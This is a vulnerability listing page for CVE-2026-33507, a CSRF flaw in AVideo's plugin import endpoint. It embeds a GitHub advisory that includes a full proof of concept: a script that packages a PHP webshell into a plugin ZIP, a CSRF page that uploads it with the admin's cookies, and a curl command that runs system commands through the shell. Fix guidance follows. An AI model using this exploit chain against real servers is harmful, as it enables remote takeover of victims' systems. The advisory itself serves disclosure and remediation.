CVE-2026-33507: Wwbn/avideo Remote Code Execution Vulnerability
HIGHCVE-2026-33507 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo affected by csrf on plugin import endpoint enables unauthenticated remote code execution via malicious plugin upload. Remediation is available in the latest vendor maintenance releases.
CVE-2026-33507 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-33507
To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade wwbn/avideo to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for wwbn/avideo
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-33507, inspect your project dependencies for Wwbn/avideo:
inspect dependencies for wwbn/avideo
Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-33507 Affected Wwbn/avideo Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
wwbn/avideo
|
Packagist |
≤ 26.0
|
|
References
Frequently Asked Questions
What is CVE-2026-33507?
Which Wwbn/avideo versions are affected?
What version fixes CVE-2026-33507?
Is wwbn/avideo affected?
What is the CVSS score of CVE-2026-33507?
What CWE is associated with CVE-2026-33507?
How can I check Packagist dependencies for CVE-2026-33507?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hv36-p4w4-6vmj",
"modified" : "2026-03-25T20:31:58Z",
"published" : "2026-03-20T21:47:50Z",
"aliases" : [ "CVE-2026-33507" ],
"summary" : "AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload",
"details" : "## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n ini_set('session.cookie_samesite', 'None');\n ini_set('session.cookie_secure', '1');\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `<form enctype=\"multipart/form-data\">` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file — passes PluginAbstract validation\ncat > EvilPlugin/EvilPlugin.php << 'PLUG'\n<?php\nclass EvilPlugin extends PluginAbstract {\n public function getTags() { return array(); }\n public function getDescription() { return \"test\"; }\n public function getName() { return \"EvilPlugin\"; }\n public function getUUID() { return \"evil-0000-0000-0000\"; }\n public function getPluginVersion() { return \"1.0\"; }\n public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file — webshell, NOT checked for PluginAbstract\ncat > EvilPlugin/cmd.php << 'SHELL'\n<?php if(isset($_GET['c'])) system($_GET['c']); ?>\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Loading...</h1>\n<script>\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n const zipResp = await fetch('evil-plugin.zip');\n const zipBlob = await zipResp.blob();\n\n const formData = new FormData();\n formData.append('input-b1', zipBlob, 'evil-plugin.zip');\n\n fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {\n method: 'POST',\n body: formData,\n mode: 'no-cors',\n credentials: 'include'\n });\n}\nexploit();\n</script>\n</body>\n</html>\n```\n\n**Step 3: Admin visits attacker's page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {\n $obj->msg = \"Invalid CSRF token\";\n die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n<form enctype=\"multipart/form-data\">\n <input type=\"hidden\" name=\"globalToken\" value=\"<?php echo getToken(); ?>\">\n <input id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\">\n</form>\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$('#input-b1').fileinput({\n uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',\n uploadExtraData: { globalToken: $('input[name=globalToken]').val() },\n // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "wwbn/avideo"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "26.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33507"
}, {
"type" : "WEB",
"url" : "https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/WWBN/AVideo"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-20T21:47:50Z",
"nvd_published_at" : "2026-03-23T17:16:51Z"
}
}